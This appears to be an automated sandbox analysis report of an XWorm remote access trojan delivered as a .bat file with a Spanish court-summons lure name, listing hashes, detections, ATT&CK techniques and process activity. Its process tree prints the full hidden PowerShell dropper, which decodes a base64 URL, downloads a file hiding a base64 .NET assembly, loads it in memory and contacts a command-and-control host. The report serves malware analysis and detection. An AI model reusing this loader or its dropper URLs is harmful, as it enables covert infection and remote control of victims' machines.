xworm | 05751052592fab25c82ce4b951283c1c98f6c430c0414c128b01a385f198bd15

Analysis

max time kernel
173s
max time network
180s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
12/11/2024, 20:46

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General

Target

En este sentido, se le hace un llamado de atención para que se presente ante el Juez del Circuito T.bat
Size

210KB
MD5

ed413cc9ec12454b62e10a58bb2e4213
SHA1

a027ce72c41eb753d1e275eb955ddf8b323a84de
SHA256

81fe1c16a0c91c2ce2b997dfa0d6c3ecb03af6a9494024d273b902b2f088ca6e
SHA512

7ff5eb191033f5770f180ab3111fe6402cc9ac71540c6a6eda2b32e50a57e5b267a7006ce45f82b8e578962a5a2b7a605eda8cb525430fe889b4d941dd11f9cf
SSDEEP

6144:vZ5PFlZSyyiQNfwJIJ9wNfX3T7jVrDjDb7bLw8:B

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://3105.filemail.com/api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_oxv3cUysOULpM&pk_vid=fd4f614bb209c62c1730851470a0904f

exe.dropper

https://3105.filemail.com/api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_oxv3cUysOULpM&pk_vid=fd4f614bb209c62c1730851470a0904f

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/5012-15-0x00000179BB550000-0x00000179BB8E4000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 19 IoCs

flow	pid	Process
6	5012	powershell.exe
24	5012	powershell.exe
25	5012	powershell.exe
31	5012	powershell.exe
40	5012	powershell.exe
41	5012	powershell.exe
43	5012	powershell.exe
44	5012	powershell.exe
45	5012	powershell.exe
50	5012	powershell.exe
51	5012	powershell.exe
52	5012	powershell.exe
53	5012	powershell.exe
55	5012	powershell.exe
56	5012	powershell.exe
57	5012	powershell.exe
58	5012	powershell.exe
59	5012	powershell.exe
60	5012	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5012	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5012	powershell.exe
5012	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5012	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4680 wrote to memory of 5012	4680	cmd.exe	85
PID 4680 wrote to memory of 5012	4680	cmd.exe	85

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\En este sentido, se le hace un llamado de atención para que se presente ante el Juez del Circuito T.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('barrioantioquia.webredirect.org', '6095');"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1optzohf.5ya.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/5012-2-0x00007FFD35CE3000-0x00007FFD35CE5000-memory.dmp

Filesize
8KB

Download
memory/5012-8-0x00000179B9030000-0x00000179B9052000-memory.dmp

Filesize
136KB

Download
memory/5012-13-0x00007FFD35CE0000-0x00007FFD367A1000-memory.dmp

Filesize
10.8MB

Download
memory/5012-14-0x00007FFD35CE0000-0x00007FFD367A1000-memory.dmp

Filesize
10.8MB

Download
memory/5012-15-0x00000179BB550000-0x00000179BB8E4000-memory.dmp

Filesize
3.6MB

Download
memory/5012-16-0x00007FFD35CE3000-0x00007FFD35CE5000-memory.dmp

Filesize
8KB

Download
memory/5012-17-0x00007FFD35CE0000-0x00007FFD367A1000-memory.dmp

Filesize
10.8MB

Download
memory/5012-18-0x00007FFD35CE0000-0x00007FFD367A1000-memory.dmp

Filesize
10.8MB

Download